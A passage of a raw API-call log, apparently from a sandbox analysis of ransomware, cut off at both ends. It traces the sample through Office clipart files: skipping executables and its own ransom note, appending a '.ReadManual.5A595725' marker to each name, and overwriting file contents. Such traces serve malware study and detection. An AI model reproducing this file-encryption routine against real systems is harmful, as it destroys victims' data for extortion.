nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1 [0265.449] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099155.JPG" | out: lpString1="J0099155.JPG") returned="J0099155.JPG" [0265.449] lstrcmpiW (lpString1="J0099155.JPG", lpString2="RecoveryManual.html") returned -1 [0265.449] StrStrIW (lpFirst="J0099155.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.449] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.449] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.449] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.449] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.449] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.449] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.449] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.449] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.449] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.449] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.449] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.449] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.450] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.450] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.450] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" [0265.450] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.ReadManual.5A595725" [0265.450] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.ReadManual.5A595725") returned 87 [0265.450] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38611844711) returned 1 [0265.450] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 0x20 [0265.450] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.450] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8826) returned 1 [0265.450] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x227a, lpName=0x0) returned 0x184 [0265.450] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.451] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.451] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.452] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.453] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x227a) returned 0x2f0000 [0265.453] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.453] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38612170731) returned 1 [0265.453] CloseHandle (hObject=0x184) returned 1 [0265.453] SetSecurityInfo () returned 0x57 [0265.453] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.453] CloseHandle (hObject=0x194) returned 1 [0265.453] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1 [0265.453] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099156.JPG" | out: lpString1="J0099156.JPG") returned="J0099156.JPG" [0265.453] lstrcmpiW (lpString1="J0099156.JPG", lpString2="RecoveryManual.html") returned -1 [0265.453] StrStrIW (lpFirst="J0099156.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.453] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.453] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.453] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.453] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.454] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.454] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.454] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.454] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.454] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.454] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.454] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.454] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.454] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.454] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.454] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" [0265.454] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.ReadManual.5A595725" [0265.454] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.ReadManual.5A595725") returned 87 [0265.454] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38612265951) returned 1 [0265.454] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 0x20 [0265.454] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.454] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13954) returned 1 [0265.454] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3682, lpName=0x0) returned 0x184 [0265.454] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.455] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.455] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.457] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.457] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3682) returned 0x2f0000 [0265.457] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.458] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38612628484) returned 1 [0265.458] CloseHandle (hObject=0x184) returned 1 [0265.458] SetSecurityInfo () returned 0x57 [0265.458] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.458] CloseHandle (hObject=0x194) returned 1 [0265.458] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1 [0265.458] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099157.JPG" | out: lpString1="J0099157.JPG") returned="J0099157.JPG" [0265.458] lstrcmpiW (lpString1="J0099157.JPG", lpString2="RecoveryManual.html") returned -1 [0265.458] StrStrIW (lpFirst="J0099157.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.458] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.458] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.458] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.458] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.458] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.458] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.458] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.458] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.458] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.458] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.458] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.458] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.458] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.458] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.458] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" [0265.458] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.ReadManual.5A595725" [0265.458] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.ReadManual.5A595725") returned 87 [0265.458] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38612721152) returned 1 [0265.458] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 0x20 [0265.459] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.459] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9671) returned 1 [0265.459] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25c7, lpName=0x0) returned 0x184 [0265.459] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.460] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.460] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.461] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.462] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25c7) returned 0x2f0000 [0265.462] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.462] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38613061598) returned 1 [0265.462] CloseHandle (hObject=0x184) returned 1 [0265.462] SetSecurityInfo () returned 0x57 [0265.462] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.462] CloseHandle (hObject=0x194) returned 1 [0265.462] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1 [0265.462] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099158.WMF" | out: lpString1="J0099158.WMF") returned="J0099158.WMF" [0265.462] lstrcmpiW (lpString1="J0099158.WMF", lpString2="RecoveryManual.html") returned -1 [0265.462] StrStrIW (lpFirst="J0099158.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.462] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.462] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.462] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.462] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.462] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.462] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.462] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.462] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.463] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.463] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.463] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.463] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.463] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.463] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.463] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" [0265.463] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.ReadManual.5A595725" [0265.463] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.ReadManual.5A595725") returned 87 [0265.463] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38613156956) returned 1 [0265.463] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 0x20 [0265.463] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.463] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26160) returned 1 [0265.463] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6630, lpName=0x0) returned 0x184 [0265.463] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.464] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.464] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.466] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.466] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6630) returned 0x2f0000 [0265.466] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.466] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38613512559) returned 1 [0265.466] CloseHandle (hObject=0x184) returned 1 [0265.466] SetSecurityInfo () returned 0x57 [0265.467] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.467] CloseHandle (hObject=0x194) returned 1 [0265.467] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1 [0265.467] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099159.WMF" | out: lpString1="J0099159.WMF") returned="J0099159.WMF" [0265.467] lstrcmpiW (lpString1="J0099159.WMF", lpString2="RecoveryManual.html") returned -1 [0265.467] StrStrIW (lpFirst="J0099159.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.467] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.467] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.467] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" [0265.467] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.ReadManual.5A595725" [0265.467] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.ReadManual.5A595725") returned 87 [0265.467] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38613608283) returned 1 [0265.467] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 0x20 [0265.468] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.468] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27546) returned 1 [0265.468] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b9a, lpName=0x0) returned 0x184 [0265.468] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.468] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.468] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.470] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.470] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6b9a) returned 0x2f0000 [0265.471] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.471] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38613978725) returned 1 [0265.471] CloseHandle (hObject=0x184) returned 1 [0265.471] SetSecurityInfo () returned 0x57 [0265.471] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.471] CloseHandle (hObject=0x194) returned 1 [0265.471] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1 [0265.471] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099160.JPG" | out: lpString1="J0099160.JPG") returned="J0099160.JPG" [0265.471] lstrcmpiW (lpString1="J0099160.JPG", lpString2="RecoveryManual.html") returned -1 [0265.471] StrStrIW (lpFirst="J0099160.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.471] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.471] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.472] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.472] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.472] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.472] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.472] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.472] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.472] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.472] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.472] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.472] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.472] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.472] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.472] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" [0265.472] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft 